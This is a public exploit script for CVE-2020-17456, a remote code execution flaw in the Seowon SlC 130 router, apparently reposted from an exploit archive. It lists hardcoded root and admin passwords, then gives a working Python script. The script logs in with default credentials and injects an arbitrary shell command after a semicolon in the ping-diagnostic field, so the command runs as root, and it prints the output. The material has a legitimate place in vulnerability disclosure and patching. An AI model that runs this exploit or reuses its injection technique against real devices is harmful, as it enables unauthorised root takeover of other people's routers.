Seowon SlC 130 Router - Remote Code Execution Exploit

# Exploit Title: Seowon SlC 130 Router - Remote Code Execution
# Author: maj0rmil4d - Ali Jalalat
# Author website: https://secureguy.ir
# Date: 2020-08-20
# Vendor Homepage: seowonintech.co.kr
# Software Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=150&big_kind=B05&middle_kind=B05_29
# CVE: CVE-2020-17456
# Version: Lync:Mac firmware 1.0.1, likely earlier versions
# Tested on: Windows 10 - Parrot sec
 
# Description:
# user can run arbitrary commands on the router as root ! 
# as there are already some hardcoded credentials so there is an easy to trigger exploit
 
# credentials : 
# user => VIP
# pwd => V!P83869000
 
# user => Root
# pwd => PWDd0N~WH*4G#DN
 
# user => root
# pwd => gksrmf28
 
# user => admin
# pwd => admin
# 
 
# A  write-up can be found at:
# https://maj0rmil4d.github.io/Seowon-SlC-130-And-SLR-120S-Exploit/
 
import requests
import sys
 
host = sys.argv[1]
 
session = requests.Session()
 
header = { 
 
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q:0.9,image/webp,*/*;q:0.8",
"Accept-Language": "en-US,en;q:0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "pplication/x-www-form-urlencoded",
"Content-Length": "132",
"Origin": "http://192.168.1.1",
"Connection": "close",
"Referer": "http://192.168.1.1/",
"Upgrade-Insecure-Requests": "1"
}
 
 
 
datas = {
         
        "Command":"Submit",
        "expires":"Wed%2C+12+Aug+2020+15%3A20%3A05+GMT",
        "browserTime":"081119502020",
        "currentTime":"1597159205",
        "user":"admin",
        "password":"admin"
}
 
 
#auth
 
session.post(host+"/cgi-bin/login.cgi" , headers=header , data = datas)
 
#rce
 
cmd = sys.argv[2]
 
rce_data = {
         
        "Command":"Diagnostic",
        "traceMode":"ping",
        "reportIpOnly":"",
        "pingIpAddr":";".encode("ISO-8859-1").decode()+cmd,
        "pingPktSize":"56",
        "pingTimeout":"30",
        "pingCount":"4",
        "maxTTLCnt":"30",
        "queriesCnt":"3",
        "reportIpOnlyCheckbox":"on",
        "btnApply":"Apply",
        "T":"1597160664082"
}
 
rce = session.post(host+"/cgi-bin/system_log.cgi" , headers=header , data = rce_data)
 
print("one line out put of ur command => " + rce.text.split('!')[1].split('[')[2].split("\n")[0])
 
#  0day.today [2020-08-31]  #